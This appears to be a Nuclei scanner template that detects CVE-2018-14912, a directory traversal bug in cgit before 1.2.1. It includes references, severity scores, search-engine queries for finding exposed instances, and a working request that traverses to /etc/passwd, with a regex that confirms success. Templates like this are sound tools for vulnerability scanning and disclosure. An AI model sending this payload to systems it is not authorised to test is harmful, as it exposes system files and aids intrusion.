CVE-2018-14912: cgit < 1.2.1 - Directory Traversal

id: CVE-2018-14912

info:
  name: cgit < 1.2.1 - Directory Traversal
  author: 0x_Akoko
  severity: high
  description: cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.
  remediation: |
    Upgrade cgit to version 1.2.1 or later to mitigate the vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2018080034
    - https://nvd.nist.gov/vuln/detail/CVE-2018-14912
    - https://lists.zx2c4.com/pipermail/cgit/2018-August/004176.html
    - https://bugs.chromium.org/p/project-zero/issues/detail?id=1627
    - https://lists.debian.org/debian-lts-announce/2018/08/msg00005.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-14912
    cwe-id: CWE-22
    epss-score: 0.91247
    epss-percentile: 0.99641
    cpe: cpe:2.3:a:cgit_project:cgit:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cgit_project
    product: cgit
    shodan-query: http.title:"git repository browser"
    fofa-query: title="git repository browser"
    google-query: intitle:"git repository browser"
  tags: cve,cve2018,cgit,lfi,cgit_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgit/cgit.cgi/git/objects/?path=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
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